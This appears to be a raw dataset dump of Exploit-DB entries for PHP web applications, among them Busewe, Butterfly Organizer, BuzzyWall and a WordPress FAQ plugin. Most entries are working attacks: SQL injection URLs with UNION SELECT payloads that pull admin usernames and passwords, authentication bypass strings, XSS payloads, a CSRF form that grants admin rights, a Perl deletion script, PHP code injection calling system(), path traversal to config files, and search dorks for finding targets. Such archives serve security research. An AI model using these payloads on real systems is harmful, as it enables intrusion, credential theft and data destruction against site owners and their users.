deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41561
Description: Busewe 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Busewe - Website Marketplace Software v1.2 - SQL Injection
# Google Dork: N/A
# Date: 09.03.2017
# Vendor Homepage: https://www.ncrypted.net/
# Software: https://www.ncrypted.net/busewe
# Demo: http://demo.ncryptedprojects.com/busewe/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/result?sort=desc&format=private&status=completed&age_min=[SQL]&age_max=[SQL]&revenue_min=[SQL]&revenue_max=[SQL]&profit_min=[SQL]&profit_max=[SQL]
# admin :id
# admin :username
# admin :password
# admin :masterPassword
# admin :email
# admin :role
# admin :permissions
# Etc..
# # # # #
Exploit-DB #41097
Description: Business Directory Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Business Directory Script
# Script Buy Now: http://www.popularclones.com/products/Business-Directory-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/edit_member.php?status=Y&id=[SQL]
# http://localhost/[PATH]/admin/edit_review.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #48141
Description: Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2020-02-27
Author: Meisam Monsef

Exploit:
# Exploit Title: Business Live Chat Software 1.0 - Cross-Site Request Forgery (Add Admin)
# Description: Operator Can Change Role User Type to admin
# Date: 2020-02-26
# Exploit Author: Meisam Monsef
# Vendor Homepage: https://www.bdtask.com/business-live-chat-software.php
# Version: V-1.0
# Tested on: ubuntu

Exploit :
1 - please login or create account
2 - open exploit.html in browser
3 - change you user id input for Change Role User Type to admin
4 - fill input data (fname - lname - email)
5 - click Update Button
6 - logout account
7 - login again you are admin & Enjoying

<form action="https://TARGET/admin/user/users/create"
enctype="multipart/form-data" method="post" accept-charset="utf-8">
user_id :
<input type="text" name="user_id" value="1"> <!-- change your user_id -->
<br>
fname :
<input type="text" name="fname" value="" /> <!-- fill your first name -->
<br>
lname :
<input type="text" name="lname" value="" />  <!-- fill your last name -->
<br>
email :
<input type="text" name="email" value="" />  <!-- fill your email -->
<br>
user_type :
<input type="text" name="user_type" value="1" />
<br>
status :
<input type="text" name="status" value="1" />
<br>
<button type="submit">Update</button>
</form>
Exploit-DB #41075
Description: Business Networking Script 8.11 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-01-16
Author: Ahmet Gurel

Exploit:
# Exploit Title : ----------- : Business Networking Script v8.11- SQLi &
Persistent Cross Site Scripting
# Author : -----------------  : Ahmet Gurel
# Google Dork : ---------  :    -
# Date : -------------------- : 16/01/2017
# Type : -------------------- : webapps
# Platform : --------------- : PHP
# Vendor Homepage : http://itechscripts.com/business-networking-script/
# Sofware Price and Demo : $299.00
http://professional-network.itechscripts.com

 ########## 1-SQL Injection ##########

##### Vulnerable Parameter Type : GET
##### Vulnerable Parameter : gid
##### Vulnerable URL :
http://localhost/[PATH]/show_group_members.php?gid=[SQLi]
##### SQLi Parameter : ' OR '1'='1



########## 2-Persistent XSS Payload ##########

##### Vulnerable URL : http://localhost/[PATH]/home.php
##### Vuln. Parameter: first_name=
##### PAYLOAD : '"--></style></Script><Script>alert(1)</Script>
Exploit-DB #36793
Description: ButorWiki 3.0 - 'service' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-17
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/52059/info

ButorWiki is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ButorWiki 3.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/sso/signin?service=%22%22%3E%3Cscript%3Ealert%28%22123%20xss%22%29%3C/script%3E
Exploit-DB #30131
Description: Buttercup WFM - 'Title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-01
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/24269/info

Buttercup WFM (Web File Manager) is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue is reported to affect the Buttercup WFM - May 2007 edition. Other versions could also be affected. 

http://www.example.com/index.php?title=%3Cscript%3Ealert(1)%3C/script%3E
Exploit-DB #5800
Description: Butterfly ORGanizer 2.0.0 - Arbitrary Delete (Category/Account)
Type: webapps
Platform: php
Date: 2008-06-13
Author: Stack

Exploit:
#!/usr/bin/perl -w
# Butterfly Organizer 2.0.0 <=  Arbitrary Delete (Category/Account)
# poc for del Ctegory : http://localhost/organizer/category-delete.php?tablehere=[NAME OF CATEGORY]&is_js_confirmed=1
# poc for del Account : http://localhost/organizer//delete.php?id=[id of account]&mytable=[NAME OF CATEGORY]
########################################
#[*] Founded &  Exploited by : Stack
########################################
# SIMPLE EXPLOIT WITH PERL
system("color f");
print "\t\t############################################################\n\n";
print "\t\t#       Butterfly Organizer 2.0.0 <= Arbitrary Delete      #\n\n";
print "\t\t#                     ( Category / Account )               #\n\n";
print "\t\t#                           by Stack                       #\n\n";
print "\t\t############################################################\n\n";
########################################
#----------------------------------------------------------------------------#
########################################
use LWP::UserAgent;
die "Usage: perl $0 http://victim.com/path/\n" unless @ARGV;
print "\n[!] Category name : ";
chomp(my $cat=<STDIN>);
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $ARGV[0] . "/category-delete.php?tablehere=".$cat."&is_js_confirmed=1";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
if ($answer =~ /$cat/)
{
        print "\n[+] Exploit failed \n";}else{
        print "\nBrought to you by v4-team.com...\n";
        print "\n[+] Category Deleted\n";}
 
########################################
#-------------------         Exploit exploited by Stack       --------------------#
########################################

# milw0rm.com [2008-06-13]
Exploit-DB #5797
Description: Butterfly ORGanizer 2.0.0 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-13
Author: CWH Underground

Exploit:
======================================================================
 Butterfly Organizer 2.0.0 (SQL/XSS) Multiple Remote Vulnerabilities
======================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE : 13 June 2008
SITE : www.citec.us


#####################################################
APPLICATION : Butterfly Organizer
VERSION     : 2.0.0
DOWNLOAD    : www.butterflymedia.ro/downloads/organizer_2_0_0.zip
#####################################################

+++ Remote SQL Injection Exploit +++

----------------------------
 Vulnerable Code [view.php]
----------------------------
@Line

   26: $mytable = $_GET['mytable'];
   27: $id = $_GET['id'];
   28:
   29: $result = mysql_query("SELECT * FROM ".$mytable." WHERE id=$id",$database);
   30: $myrow = mysql_fetch_array($result);


----------
 Exploit
----------
[+] http://[Target]/[Organizer_Path]/view.php?id=<SQL INJECTION>&mytable=test_category


-------------
 POC Exploit
-------------
[+] http://192.168.24.25/organizer/view.php?id=-99999/**/UNION/**/SELECT/**/concat(user,0x3a,password),2,3,4,5,6,7,8,9,10/**/FROM/**/mysql.user&mytable=test_category
[+] http://192.168.24.25/organizer/view.php?id=-99999/**/UNION/**/SELECT/**/concat(username,0x3a,password),2,3,4,5,6,7,8,9,10/**/FROM/**/test_category&mytable=test_category



+++ Remote XSS Exploit +++


-----------
 Exploits
-----------
[+] http://[Target]/[Organizer_Path]/view.php?id=1&mytable=<XSS>
[+] http://[Target]/[Organizer_Path]/viewdb2.php?id=1&mytable=<XSS>
[+] http://[Target]/[Organizer_Path]/category-rename.php?tablehere=<XSS>
[+] http://[Target]/[Organizer_Path]/module-contacts.php?letter=<XSS>


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-13]
Exploit-DB #7411
Description: Butterfly ORGanizer 2.0.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-10
Author: Osirys

Exploit:
#########################################################################################
[0x01] Informations:

Name           : Butterfly Organizer 2.0.1 Sql Injection
Download       : http://www.hotscripts.com/jump.php?listing_id=72677&jump_type=1
Vulnerability  : Remote Sql Injection
Author         : Osirys
Contact        : osirys[at]live[dot]it
Notes          : Proud to be Italian
*              : Same bug of the previous version: http://milw0rm.com/exploits/5797

#########################################################################################
[0x02] Bug:

Bugged file is /[path]/view.php

[CODE]
$mytable = $_GET['mytable'];
$id = $_GET['id'];

$result = mysql_query("SELECT * FROM ".$mytable." WHERE id=$id",$database);
$myrow = mysql_fetch_array($result);
[/CODE]

Query accept direct GET input, so we can inject hell sql code.
To avoid this vulnerability, just escape GET input.

#########################################################################################
[0x03] Exploit:

http://localhost/[path]/view.php?id=-1+union+select+0x49276d2076756c6e657261626c65203a28,2,3,name,url,username,password,8,9,10+from+test_category&mytable=test_category

########################################################################################

# milw0rm.com [2008-12-10]
Exploit-DB #6652
Description: Bux.to Clone Script - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-10-02
Author: SirGod

Exploit:
#############################################################################################
[+] Bux.to Clone script Insecure Cookie Handling Vulnerability
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke,Codex
#############################################################################################

[+] Download :  http://depositfiles.com/files/6633532

[+] Dork : (c) SriptBux 2008 | Powered By ScriptBux version 2.50 beta 1

[+] Script : http://depositfiles.com/files/6633532

[+] Insecure Cookie Handling Vulnerability

javascript:document.cookie = "loggedin=1; path=/"; document.cookie =
"usNick=admin; path=/";

#############################################################################################

# milw0rm.com [2008-10-02]
Exploit-DB #41098
Description: Buy and Sell Market Place Software - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Buy and Sell Market Place Software
# Script Buy Now: http://www.popularclones.com/products/Buy-and-Sell-Market-Place-Software
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin_giant/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin_giant/page.editor.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #22929
Description: BuyClassifiedScript - PHP Code Injection
Type: webapps
Platform: php
Date: 2012-11-26
Author: d3b4g

Exploit:
# Exploit Title: buyclassifiedscript PHP code injection vulnerability
# Date: 25.11.201
# Exploit Author: d3b4g
# Vendor Homepage: http://buyclassifiedscript.com/
# Tested on:Windows 7
# Blog: d3b4g.me
  
  
   
    
----------------------------------------------------------------------------------

     This vulnerability  allows an attacker to inject custom code
     into the server side scripting engine.It's possible to get a remote cmd by taking
     advantage of this vulnerability.
     
 
     Vulnerable function: 

     /search/ 


     () php code excution :
  
  
     http://localhost/path/search {Inject malicious code}


     () example of code you can inject:


     //  ${@system(ls)}

        ${@print(hello)}

        $_GET['cmd']


                         //  
      
  
  
-end-
Exploit-DB #6835
Description: BuzzyWall 1.3.1 - 'id' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-10-24
Author: b3hz4d

Exploit:
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +        BuzzyWall Remote File Disclosure Vulnerability              +
        +                                                                    +
        +                     Discovered by b3hz4d                           +
        +                                                                    +
        +                     WwW.DeltaHacking.Net                           +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


		
AUTHOR : b3hz4d
DATE   : 25 oct 2008
SITE   : WwW.DeltaHacking.Net


#####################################################

APPLICATION : BuzzyWall
DOWNLOAD    : http://rapidshare.com/files/155522383/BuzzyWall.v1.3.1.Nulled.zip
VENDOR      : http://www.buzzywall.com

#####################################################


[+] vuln    : ./download.php

               
$file_name = $_GET['id']

               $file_path = $weburl."wallpapers/full/".$file_name;

                     .

                     .

                     .

                     .

               readfile("$file_path");

   

[+] Exploit : http://victim.com/download.php?id=../../config.php



##############################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y and all member in DeltaHacking.Net #

##############################################################################

# milw0rm.com [2008-10-24]
Exploit-DB #6527
Description: BuzzyWall 1.3.1 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-22
Author: ~!Dok_tOR!~

Exploit:
BuzzyWall <= 1.3.1 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 31.08.08
Product: BuzzyWall
Version: 1.3.1
Price: 40$
URL: www.buzzscripts.com
Download script: http://nullstore.net/Reaper/4ptp1chdeais/BuzzyWall.v1.3.1.Nulled.rar.html
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

Exploit:

http://localhost/[installdir]/search.php?search=-1'+union+select+1,2,3,4,5,6,concat_ws(0x3a,login,password),user(),9,10,11,12,13,14,15,16+from+bw_admin/*

# milw0rm.com [2008-09-22]
Exploit-DB #36214
Description: BuzzyWall 1.3.2 - 'resolute.php' Information Disclosure
Type: webapps
Platform: php
Date: 2011-10-07
Author: cr4wl3r

Exploit:
source: https://www.securityfocus.com/bid/50018/info

BuzzScripts BuzzyWall is prone to an information-disclosure vulnerability because it fails to sufficiently validate user-supplied data.

An attacker can exploit this issue to download local files in the context of the webserver process. This may allow the attacker to obtain sensitive information; other attacks are also possible.

BuzzyWall 1.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/resolute.php?img=config.php
Exploit-DB #4213
Description: bwired - 'index.php?newsID' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-22
Author: g00ns

Exploit:
###############################################################################################
#         ___   ___                         _
#        / _ \ / _ \                       | |
#   __ _| | | | | | |_ __  ___   _ __   ___| |_
#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#   __/ |
#  |___/
###############################################################################################
#Program Title ################################################################################
#bwired - Remote SQL Injection
#
#Note #######################################################################################
#There is also XSS, PHPSESSID session fixation, and cookie manipulation which I will not go into..
#The admin hash will be the same for all the sites I believe. Seeing all the sites are managed by the creator of the webapp.
#Script Website ##############################################################################
#http://web.bwired.com.au
#
#d0rk ######################################################################################
#"Powered by bwired" inurl:?newsID=
#
#Spl0it #########################################################################################
#http://vicsite.com/[pathtobwired]/index.php?newsID=-99%20union%20all%20select 1, 2,concat(user_login,0x20,0x3a,0x20,user_passwd),4, 5, 6, 7, 8, 9, 10, 11%20from%20authuser
#
#vuln discovered by ###############################################################################
#MurderSkillz
#
#shoutz: z3r0, fish, milf, ScUzZ, godxcel, clorox, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
#fish, rey, canuck, c0ma, grumpy, err0r, sick, trintitty, asdfhacks.com , a59, freeillwill.com, fury,
#<S>, Bernard and everyone else at g00ns.net
###############################################################################################

# milw0rm.com [2007-07-22]
Exploit-DB #52024
Description: BWL Advanced FAQ Manager 2.0.3 - Authenticated SQL Injection
Type: webapps
Platform: php
Date: 2024-05-31
Author: Ivan Spiridonov

Exploit:
Exploit Title: BWL Advanced FAQ Manager 2.0.3 - Authenticated SQL Injection
Date: 14 Apr 2024
Exploit Author: Ivan Spiridonov (xbz0n)
Software Link: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135
Version: 2.0.3
Tested on: Ubuntu 20.04
CVE: CVE-2024-32136

SQL Injection

SQL injection is a type of security vulnerability that allows an attacker to interfere with an application's database queries. It usually involves the insertion or "injection" of an SQL query via the input data from the client into the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.

Affected Components

Plugin: BWL Advanced FAQ Manager
Version: 2.0.3
Affected Parameter: 'date_range'
Affected Page: /wp-admin/edit.php
Description

The vulnerability exists within the 'date_range' parameter used in the 'bwl-advanced-faq-analytics' page of the BWL Advanced FAQ Manager plugin. Authenticated attackers can execute arbitrary SQL commands within the database by manipulating the input to this parameter.

Proof of Concept

Manual Exploitation

The following GET request demonstrates the vulnerability:

GET /wp-admin/edit.php?page=bwl-advanced-faq-analytics&post_type=bwl_advanced_faq&filter_type=views&date_range=(select*from(select(sleep(20)))a)&faq_id=all HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/edit.php?post_type=bwl_advanced_faq&page=bwl-advanced-faq-analytics
Connection: close
Cookie: [Relevant Cookies]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
If the server response is delayed by approximately 20 seconds, it indicates a successful exploitation of the time-based SQL Injection, confirming the vulnerability.

Recommendations

BWL Advanced FAQ Manager v2.0.3 users are advised to update the plugin to the fixed version v2.0.4.